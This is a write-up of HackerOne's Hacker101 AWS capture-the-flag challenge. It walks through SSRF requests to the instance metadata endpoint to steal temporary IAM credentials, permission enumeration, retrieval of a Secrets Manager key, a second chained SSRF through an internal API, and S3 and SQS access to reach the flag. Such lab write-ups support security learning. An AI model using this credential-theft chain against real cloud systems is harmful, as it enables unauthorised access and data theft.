AWS Capture the Flag by HackerOne
On April 5th, HackerOne launched a new challenge on their Hacker101 website that aimed to put hackers’ cloud expertise to the test. Seeing that I had some time to spare from my university schedule, I decided to take a shot at it even though I had absolutely no experience deploying applications on AWS!
Setup
Login to the Hacker101 website and you will see a challenge at the bottom called AWS CTF
that is rated Moderate
and is worth 26 points, which is equivalent to a private invitation on the HackerOne platform.
Clicking on the Go
button will initiate the spinning up of the challenge. A personal flag submission URL and target link will be generated for you.
Clicking on your target link that is highlighted in blue will bring you to the page that you need to attack.
Accessing the instance metadata service at 169.254.169.254
If you type in https://www.google.com/
into the field and submit, it will fetch what seems to be the HTML
source of the URL you specified and render it on the right in the Preview
section.
Since this was an AWS-based challenge, the first thing I tried was to fetch the instance metadata service, which is available at http://169.254.169.254/
, and it worked!
Generating temporary credentials (1)
The next step would be to list the roles that we can generate credentials for by fetching http://169.254.169.254/latest/meta-data/iam/security-credentials/
.
To generate temporary credentials for SSRFChallengeOneRole
, we just append the name to our URL and fetch the updated link http://169.254.169.254/latest/meta-data/iam/security-credentials/SSRFChallengeOneRole
.
The output is a bit long but you should get JSON
that looks like this:
1
2
3
4
5
6
7
8
9
{
"Code": "Success",
"LastUpdated": "2021-04-11T14:58:44Z",
"Type": "AWS-HMAC",
"AccessKeyId": "<REDACTED>",
"SecretAccessKey": "<REDACTED>",
"Token": "<REDACTED>",
"Expiration": "2021-04-11T21:18:41Z"
}
Using the temporary credentials (1)
To make use of them, you can use the aws
CLI tool. If you are on Linux like me, you can install it using the following commands:
1
2
3
$ curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip" && \
unzip awscliv2.zip && \
sudo ./aws/install
Configure the aws
CLI by exporting certain variables while specifying the AccessKeyId
, SecretAccessKey
and Token
values that you received earlier.
1
2
3
4
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<Token>
export AWS_DEFAULT_REGION=us-west-2
To verify that it works, we can use the following command and you will get something like this:
1
2
3
4
5
6
$ aws sts get-caller-identity
{
"UserId": "AROASCLNOVA3WZBF4QMYW:i-04686b0f980508e8e",
"Account": "142500341815",
"Arn": "arn:aws:sts::142500341815:assumed-role/SSRFChallengeOneRole/i-04686b0f980508e8e"
}
Enumerating API calls (1)
There are many features that AWS supports and it can be a pain to enumerate one by one. Therefore I used a tool called enumerate-iam
to automate the enumeration.
1
2
3
$ git clone https://github.com/andresriancho/enumerate-iam
$ cd enumerate-iam
$ sudo pip3 install -r requirements.txt
Using the following command, we can get an idea on what permissions we have as the SSRFChallengeOneRole
role.
1
2
3
4
5
6
7
8
9
10
$ python3 enumerate-iam.py --access-key $AWS_ACCESS_KEY_ID --secret-key $AWS_SECRET_ACCESS_KEY --session-token $AWS_SESSION_TOKEN
2021-04-11 12:32:15,192 - 2268 - [INFO] Starting permission enumeration for access-key-id "<REDACTED>"
2021-04-11 12:32:17,401 - 2268 - [INFO] -- Account ARN : arn:aws:sts::142500341815:assumed-role/SSRFChallengeOneRole/i-04686b0f980508e8e
2021-04-11 12:32:17,401 - 2268 - [INFO] -- Account Id : 142500341815
2021-04-11 12:32:17,402 - 2268 - [INFO] -- Account Path: assumed-role/SSRFChallengeOneRole/i-04686b0f980508e8e
2021-04-11 12:32:20,391 - 2268 - [INFO] Attempting common-service describe / list brute force.
2021-04-11 12:32:27,420 - 2268 - [INFO] -- secretsmanager.list_secrets() worked!
2021-04-11 12:32:35,048 - 2268 - [INFO] -- dynamodb.describe_endpoints() worked!
2021-04-11 12:32:40,402 - 2268 - [INFO] -- sts.get_caller_identity() worked!
2021-04-11 12:32:49,837 - 2268 - [INFO] -- ec2.describe_instances() worked!
Using ec2.describe_instances()
Using this API call, we are able to get a list of IP addresses of the machines in the network.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ aws ec2 describe-instances | grep Private
"PrivateDnsName": "ip-10-0-0-55.us-west-2.compute.internal",
"PrivateIpAddress": "10.0.0.55",
"PrivateIpAddress": "10.0.0.55",
"PrivateIpAddresses": [
"PrivateIpAddress": "10.0.0.55"
"PrivateDnsName": "ip-10-0-0-10.us-west-2.compute.internal",
"PrivateIpAddress": "10.0.0.10",
"PrivateIpAddress": "10.0.0.10",
"PrivateIpAddresses": [
"PrivateIpAddress": "10.0.0.10"
"PrivateDnsName": "ip-10-0-0-12.us-west-2.compute.internal",
"PrivateIpAddress": "10.0.0.12",
"PrivateIpAddress": "10.0.0.12",
"PrivateIpAddresses": [
"PrivateIpAddress": "10.0.0.12"
"PrivateDnsName": "ip-10-0-0-11.us-west-2.compute.internal",
"PrivateIpAddress": "10.0.0.11",
"PrivateIpAddress": "10.0.0.11",
"PrivateIpAddresses": [
"PrivateIpAddress": "10.0.0.11"
Accessing 10.0.0.55
Using the web page we started with, we can try to communicate with other machines in the network. I tried the 4 IP addresses and I noticed something about the output when I queried http://10.0.0.55
.
It seems that the endpoint that we were submitting to was /check_webpage
that had an addr
parameter. On closer inspection, the returned JSON
response had a base64-encoded value in page
and decoding it returns the following message:
1
2
$ echo TWlzc2luZyBhcGlfa2V5IHBhcmFtZXRlci4gU2VlIEFXUyBTZWNyZXRzTWFuYWdlci4= | base64 -d
Missing api_key parameter. See AWS SecretsManager.
If you refer back to the output of the enumerate-iam
tool that we ran, it says that we could run the secretsmanager.list_secrets()
API call. Lets see what it returns.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ aws secretsmanager list-secrets
{
"SecretList": [
{
...
"Name": "h101_flag_secret_secondary",
"Description": "The second of two secrets used in deriving H101 SSRF challenge flags.",
...
},
{
...
"Name": "h101_flag_secret_main",
"Description": "The first of two secrets used in deriving H101 SSRF challenge flags.",
...
},
{
...
"Name": "web_service_health_api_key",
"Description": "Used to interact with the Web Service Health Monitor",
...
}
]
}
The two h101_flag_secret_*
secrets caught my eye instantly but I couldn’t make use of them so I moved on to the web_service_health_api_key
secret, which is probably what the earlier message was referring to. To retrieve the actual secret, we can use the follow command:
1
2
3
4
5
6
7
8
9
10
11
$ aws secretsmanager get-secret-value --secret-id web_service_health_api_key
{
"ARN": "arn:aws:secretsmanager:us-west-2:142500341815:secret:web_service_health_api_key-u54cKi",
"Name": "web_service_health_api_key",
"VersionId": "a69ba9fd-684f-4587-b25f-1e8562c6d687",
"SecretString": "hXjYspOr406dn93uKGmsCodNJg3c2oQM",
"VersionStages": [
"AWSCURRENT"
],
"CreatedDate": "2021-03-17T10:03:17.443000-04:00"
}
Now lets see what happens when we specify the ?api_key=hXjYspOr406dn93uKGmsCodNJg3c2oQM
as part of our URL that we want to query.
We managed to access the page! There didn’t seem much but if we manually decode the output returned, we see that there was an attempt to fetch another file at /static/main.js
which is probably hosted on http://10.0.0.55
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ echo "PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8dGl0bGU+U0VSVklDRSBIRUFMVEggTU9OSVRPUjwvdGl0bGU+CiAgICA8c3R5bGU+CiAgICAgICAgLm9rIHsKICAgICAgICAgICAgY29sb3I6IGdyZWVuOwogICAgICAgIH0KICAgICAgICAuZXJyIHsKICAgICAgICAgICAgY29sb3I6IHJlZDsKICAgICAgICB9CiAgICA8L3N0eWxlPgogICAgPHNjcmlwdD5hcGlfa2V5ID0gImhYallzcE9yNDA2ZG45M3VLR21zQ29kTkpnM2Myb1FNIjs8L3NjcmlwdD4KPC9oZWFkPgo8Ym9keT4KICAgIDxoMT5NQUNISU5FIFNUQVRVUzwvaDE+CiAgICA8dGFibGUgaWQ9InN0YXR1c190YWJsZSI+CiAgICAgICAgPHRyPgogICAgICAgICAgICA8dGg+QUREUjwvdGg+CiAgICAgICAgICAgIDx0aD5TVEFUVVM8L3RoPgogICAgICAgIDwvdHI+CiAgICA8L3RhYmxlPgo8L2JvZHk+CjxzY3JpcHQgc3JjPSIvc3RhdGljL21haW4uanMiPjwvc2NyaXB0Pgo8L2h0bWw+" | base64 -d
<!DOCTYPE html>
<html lang="en">
<head>
<title>SERVICE HEALTH MONITOR</title>
<style>
.ok {
color: green;
}
.err {
color: red;
}
</style>
<script>api_key = "hXjYspOr406dn93uKGmsCodNJg3c2oQM";</script>
</head>
<body>
<h1>MACHINE STATUS</h1>
<table id="status_table">
<tr>
<th>ADDR</th>
<th>STATUS</th>
</tr>
</table>
</body>
<script src="/static/main.js"></script>
</html>
Modifying the URL a little, we can fetch the contents of main.js
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function fetch_machines() {
return authenticated_fetch(`/api/get_machines`);
}
function fetch_system_status(addr) {
return authenticated_fetch(`/api/get_status?addr=${addr}`);
}
function authenticated_fetch(addr) {
let separator = addr.includes("?") ? "&" : "?";
return fetch(`${addr}${separator}api_key=${api_key}`);
}
fetch_machines().then((result) => result.json()).then((machine_addrs) => {
machine_addrs.forEach((addr) => {
fetch_system_status(addr).then((result) => result.json()).then((data) => {
let status_table = document.getElementById("status_table");
let status_row = document.createElement("tr");
let machine_addr = document.createElement("td");
machine_addr.textContent = addr;
let machine_status = document.createElement("td");
machine_status.textContent = data["success"] ? "OK" : "UNREACHABLE";
machine_status.className = data["success"] ? "ok" : "err";
status_row.appendChild(machine_addr);
status_row.appendChild(machine_status);
status_table.appendChild(status_row);
})
});
});
It seems that there are 2 other endpoints on http://10.0.0.55
, /api/get_machines
and /api/get_status?addr=${addr}
.
Unfortunately, fetching /api/get_machines
returned a 500 Internal Server Error
, so lets try to figure out how to use /api/get_status?addr=${addr}
.
Based on main.js
, fetching http://10.0.0.55/api/get_status?addr=169.254.169.254&api_key=hXjYspOr406dn93uKGmsCodNJg3c2oQM
should work but unfortunately it reported Missing api_key parameter. See AWS SecretsManager.
even though we specified it. I then figured out that we needed to URL encode the &
to %26
for it to work. Therefore, the resulting URL we fetch is http://10.0.0.55/api/get_status?addr=169.254.169.254%26api_key=hXjYspOr406dn93uKGmsCodNJg3c2oQM
.
Generating temporary credentials (2)
Similar to before, we can view the roles available by fetching http://10.0.0.55/api/get_status?addr=169.254.169.254/latest/meta-data/iam/security-credentials/%26api_key=hXjYspOr406dn93uKGmsCodNJg3c2oQM
.
We then generate a new set of temporary credentials by appending SSRFChallengeTwoRole
to the addr
parameter.
Using the temporary credentials (2)
Lets reconfigure the aws
CLI by exporting certain variables while specifying the new AccessKeyId
, SecretAccessKey
and Token
values we just retrieved.
1
2
3
export AWS_ACCESS_KEY_ID=<REDACTED>
export AWS_SECRET_ACCESS_KEY=<REDACTED>
export AWS_SESSION_TOKEN=<REDACTED>
To verify the credentials, we can run aws sts get-caller-identity
again.
1
2
3
4
5
6
$ aws sts get-caller-identity
{
"UserId": "AROASCLNOVA3RDNOS7QB2:i-04e8c92684401cee9",
"Account": "142500341815",
"Arn": "arn:aws:sts::142500341815:assumed-role/SSRFChallengeTwoRole/i-04e8c92684401cee9"
}
Enumerating API Calls (2)
We run enumerate-iam
again to see what we can do with these new credentials.
1
2
3
4
5
6
7
8
9
10
11
$ python3 enumerate-iam.py --access-key $AWS_ACCESS_KEY_ID --secret-key $AWS_SECRET_ACCESS_KEY --session-token $AWS_SESSION_TOKEN
2021-04-11 14:46:14,816 - 3145 - [INFO] Starting permission enumeration for access-key-id "<REDACTED>"
2021-04-11 14:46:16,837 - 3145 - [INFO] -- Account ARN : arn:aws:sts::142500341815:assumed-role/SSRFChallengeTwoRole/i-04e8c92684401cee9
2021-04-11 14:46:16,837 - 3145 - [INFO] -- Account Id : 142500341815
2021-04-11 14:46:16,837 - 3145 - [INFO] -- Account Path: assumed-role/SSRFChallengeTwoRole/i-04e8c92684401cee9
2021-04-11 14:46:19,937 - 3145 - [INFO] Attempting common-service describe / list brute force.
2021-04-11 14:46:20,041 - 3145 - [ERROR] Remove globalaccelerator.describe_accelerator_attributes action
2021-04-11 14:46:38,503 - 3145 - [INFO] -- s3.list_buckets() worked!
2021-04-11 14:46:38,587 - 3145 - [INFO] -- secretsmanager.list_secrets() worked!
2021-04-11 14:46:40,607 - 3145 - [INFO] -- sts.get_caller_identity() worked!
2021-04-11 14:46:45,907 - 3145 - [INFO] -- dynamodb.describe_endpoints() worked!
Using s3.list_buckets()
Lets list the s3
buckets that we have access to.
1
2
3
4
$ aws s3 ls
2021-03-17 10:04:26 h101-dev-notes
2021-03-17 10:03:20 h101-flag-files
2021-03-16 16:22:02 h101ctfloadbalancerlogs
Out of these buckets, we can only list the files in h101-dev-notes
.
1
2
$ aws s3 ls s3://h101-dev-notes
2021-03-17 10:05:46 731 README.md
Lets retrieve README.md
and read it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ aws s3 cp s3://h101-dev-notes/README.md .
download: s3://h101-dev-notes/README.md to ./README.md
$ cat README.md
# Flag Generation
This document outlines the steps required to generate a flag file.
## Steps
1. Fetch your `hid` and `fid` values from the `/api/_internal/87tbv6rg6hojn9n7h9t/get_hid` endpoint.
2. Send a message to the SQS queue `flag_file_generator` with the following format
```json
{"fid": "<fid>", "hid": "<hid>"}
```
where `<fid>` and `<hid>` are the values you received in step 1.
3. Get the `<fid>.flag` file from the `flag-files` (name may be slightly different) S3 bucket.
## Tips
If you've never worked with SQS (Simple Queue Service) before then the [following link](https://docs.aws.amazon.com/cli/latest/reference/sqs/send-message.html)
may be helpful in sending messages from the aws cli tool.
Generating hid
and fid
values
We just need to fetch /api/_internal/87tbv6rg6hojn9n7h9t/get_hid
, which results in the URL that we want to query to be: http://10.0.0.55/api/_internal/87tbv6rg6hojn9n7h9t/get_hid?api_key=hXjYspOr406dn93uKGmsCodNJg3c2oQM
Save the JSON
output into a file called send-message.json
.
Sending a message to the flag_file_generator
SQS queue
First, we will need the URL of the queue which we can retrieve by running this command:
1
2
3
4
$ aws sqs get-queue-url --queue-name flag_file_generator
{
"QueueUrl": "https://sqs.us-west-2.amazonaws.com/142500341815/flag_file_generator"
}
We then simply send the message while specifying the send-message.json
as our body.
1
2
3
4
5
$ aws sqs send-message --queue-url https://sqs.us-west-2.amazonaws.com/142500341815/flag_file_generator --message-body file://send-message.json
{
"MD5OfMessageBody": "8047ff8363ab0f2da57d96e8355b4382",
"MessageId": "f18b8f3e-dfb3-4c27-9c86-d5d0de20dafb"
}
Getting the flag
The README.md
specified that the flag file would be called <fid>.flag
and is located in another s3
bucket called h101-flag-files
.
1
2
$ aws s3 cp s3://h101-flag-files/82aaf095-9ffc-4a35-91a9-bbb8975a41fc.flag flag.txt
download: s3://h101-flag-files/82aaf095-9ffc-4a35-91a9-bbb8975a41fc.flag to ./flag.txt
Copy the contents of the flag file and submit it to your personalised submission URL and you will rewarded be with another flag which you can submit on the Hacker101 website to gain the 26 points.